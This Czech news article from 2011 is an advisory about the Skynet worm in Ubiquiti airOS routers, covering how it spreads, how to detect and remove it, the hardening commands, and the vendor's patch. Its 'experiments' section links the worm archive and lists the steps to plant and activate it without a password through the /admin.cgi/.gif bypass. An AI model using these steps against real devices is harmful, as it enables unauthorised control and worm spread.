Virus v bezdrátových routerech - Skynet

19. 12. 2011
Doba čtení: 5 minut

Sdílet

Aktualizováno: Aktualizováno (19. 12. 2011 23:00)
Před čtrnácti dny jsme začali řešit zvláštní chování našich bezdrátových routerů, které se náhodně restartovaly. Náš údiv přerostl ve zděšení, když jsem zjistili, že v routerech běží procesy, které v novém zařízení nejsou a nikdo z týmu je tam neinstaloval. A tak jsme poznali virus Skynet.

Virus se naštěstí nešíří úplně ve všech bezdrátových routerech, zas tak „dokonalý“ není, a ke svému životu potřebuje následující:

  • Zařízení od Ubiquiti (nanostation, locostation, atd.)
  • firmware airosu verze 3.6.1, 4.x a 5.x včetně aktuálních verzí – firmware využívá GNU/Linux
  • dalším požadavkem je běh webového rozhraní na portu 80

Výše uvedená zařízení jsou poměrně oblíbená lokálními providery internetu, a tak virus postihl či postihne poměrně dost lidí.

Co vlastně virus způsobuje?

Podařilo se nám zachytit i několik modifikací, ale všechny mají společné:

  • samozřejmě vlastní reprodukci
  • odchytávání přihlašovacích cookies do zařízení a jejich sdělení autorovi viru
  • naslouchání síťovému provozu a identifikaci hesel na portu 80 a jejich sdělení autorovi viru

Kromě jiného virus způsobuje náhodné restarty zařízení, pravděpodobně vyčerpáním volné paměti, ale v jedné modifikaci i cílené restarty WiFi routeru.

Jak virus funguje?

Je potřeba říci, že virus zneužívá kombinaci dvou chyb tvůrců firmware pro zařízení. První chybou je, že v uvedených verzí firmware pro zařízení existuje stránka /admin.cgi, která je samozřejmě chráněná heslem pro nastavení zařízení, ale umožňuje nahrání souboru do zařízení či bezostyšné spuštění příkazu jako root přes webové rozhraní. Tuto stránku bych z produkčního firmware určitě vypustil. Druhou chybou je špatně nastavená konfigurace proprietárního modulu airos pro web server lighttpd, který umožní v případě zadání několika znaků za url zobrazení jakékoliv stránky konfigurace bez znalosti hesla.

Těch několik znaků se dá vypátrat v přiloženém souboru s virem skynet.tgz a záměrně nejsou uváděny přímo v článku.

Díky těmto dvou chybám má virus možnost se snadno šířit bez složitého lámání hesel apod., v podstatě otestuje jednu ip adresu za několik sekund a pomocí cyklu zkouší další a další.

Jak zjistit, že mám zavirované zařízení

zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi  – pokud stránka neexistuje, máte tam Skynet, on totiž stránku přejmenuje na  adm.cgi.

Přihlaste se do zařízení přes ssh a zkontrolujte, zda máte v adresáři /etc/persistent skrytý adresář  .skynet.

ssh ubnt@ip.ad.re.sa
ls -la /etc/persistent

Dále můžete zkontrolovat pomocí ssh a příkazu ps, zda běží nc, tcpdump či grep a pokud ano, máte zavirované zařízení.

Jak virus odstranit?

Virus se dá odstranit přihlášením do zařízení pomocí ssh a zadáním následujících příkazů.

#místo ubnt musíte zadat své uživatelské jméno
ssh ubnt@ip.ad.re.sa
cd /etc/persistent
rm rc.poststart
rm -rf .skynet
#po odstranění zapište konfiguraci
cfgmtd -w -p /etc/
reboot

Odstraněním viru se však nezabrání další možné infekci. Virus lze také odstranit pomocí stránky /admin.cgi v zařízení a zadáním výše uvedených příkazů, ale najednou – tedy oddělených středníkem, protože po smazání adresáře skynet dojde k nefunkčnosti webserveru (do restartu).

cd /etc/persistent ;  rm rc.poststart ; rm -rf .skynet ;cfgmtd -w -p /etc/ ; reboot

Jak zabezpečit zařízení?

To je trošku složitější, pokud máte firmware verze 3.6.1 nebo 4.0 použijte verzi 3.6 která používá webserver boa a netrpí tedy neduhem číslo 2 a Skynet se vám do zařízení nedostane. Downgrade ale neodstraní virus ze zařízení.

V první fázi přesuňte webserver na jiný port – získáte trochu času. Pak se rozhodněte, buď si upravíte firmware k obrazu svému – stažením SDK ze stránku výrobce, a pějte chválu na GPL, nebo alespoň zabezpečíte web rozhraní tak, aby nefungovala stránka admin.cgi, protože jí nemůže z komprimovaného firmware v zařízení odstranit.

Jednoduchou opravu provedete následovně, pomocí ssh se přihlásíte do zařízení a zadáte příkazy:

echo "echo 'airos.deny += (\"/admin.cgi/.gif\")' >> /etc/lighttpd.conf' > /etc/persistent/rc.poststart"
echo 'kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`' >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
reboot

Tímto zapíše do souboru, který se spustí po startu zařízení, aby připsal do konfigurace webserveru direktivu, která zabrání zobrazení stránky, kterou zneužívá Skynet, a poté aby ukončil webserver který je již spuštěn. K opětovnému spuštění webserveru dojde automaticky.

Tyto kroky však nejsou úplné a silně doporučuji upravit konfiguraci souboru /usr/etc/lighttpd/lighttpd.conf, a to sekvenci airos.allow a airos.deny na následující:

airos.deny = (".inc", "~", ".tmpl")
airos.allow = ( "/login.cgi", "/ticket.cgi" )
airos.allow += ("/style.css", "/images/bg.png", "/images/ulogo.skv.gif")
airos.allow += ("/login.css")
airos.deny += ( ".cgi/login.cgi", ".cgi/ticket.cgi")
airos.deny += ( ".cgi/style.css", ".cgi/images/bg.png", ".cgi/images/ulogo.skv.gif")
airos.deny += ( ".cgi/login.css")

Nebo upravit přímo airos modul napsaný pomocí C, ale to již nad mé síly. Ani se mi nepodařilo sestavit firmware od výrobce s podporou regulárních výrazů v konfiguraci lighttpd, což by také zjednodušilo zapsání neprůstřelné konfigurace webserveru.

Pokud si budete sestavovat vlastní firmware, doporučuji vyjít pro řady 5.x z SDK 5.3.3 opravit konfiguraci lighttpd a pro jistotu nahradit soubor admin.cgi prázdným souborem. Pro běžné používání zařízení totiž není potřeba.

A hromadné řešení?

Pokud máte několik zařízení, upravte si je ručně, pokud jich máte ale ve správě stovky, pak doporučuji si sestavit vlastní firmware a ten na zařízení nahrát buď pomocí ubnt AirControl centra nebo pomocí skriptů na http://dren.dk/u­bi.html, ale ty potřebují lehce přiohnout.

Samotný virus pro experimenty

Pokud chcete experimentovat, můžete si virus stáhnout (skynet.tgz). Zde je návod, jak ho dostat do zařízení (a aktivovat) bez znalosti hesla. Experimentujete na vlastní nebezpečí!

  1. V ubnt zařízení zobrazit http://ip.ad.re­.sa/admin.cgi/­.gif
  2. nahrát soubor skynet.tgz
  3. mv /tmp/upload/skynet.tgz /etc/persistent/
  4. cd /etc/persistent/ ; tar -xvzf /etc/persistent/skynet.tgz
  5. /etc/persistent/.skynet/install
  6. Zařízení se poté restartuje a virus se začne šířit.

Závěr

Výrobce jsme o chybě informovali již před čtrnácti dny, ale dosud na naše upozornění nereagoval ani nevydal opravný firmware (opravený airos modul pro lighttpd). Naštěstí díky GPL licenci máme přístup ke zdrojovým kódům, a tak jsme si mihli sestavit vlastní firmware, který chybou netrpí.

Aktualizováno

Jsme ve spojení se společností Ubiquiti, která se k celému případu vyjádřila. Podle slov jejich zástupců firma o incidentu vůbec nevěděla, protože e-maily Martina Kratochvíla o bezpečnostní díře končily ve spamu.

ict ve školství 24

Firma se tedy o všem prý dozvěděla až z vlastního fóra, kde někdo odkázal náš článek. Podle vyjádření firmy by oprava měla trvat jediný den a uživatelé dostanou novou verzi firmware, která bezpečnostní chybu odstraní.

Aktualizováno podruhé

Jak společnost slíbila, tak učinila, k dispozici je nová verze firmware pro Wi-Fi routery, která opravuje zmíněnou zranitelnost a zabraňuje tak Skynetu i dalším podobným virům zařízení ovládnout.

Autor článku

Martin „MaKr“ Kratochvíl je administrátorem sítě Skvely.net.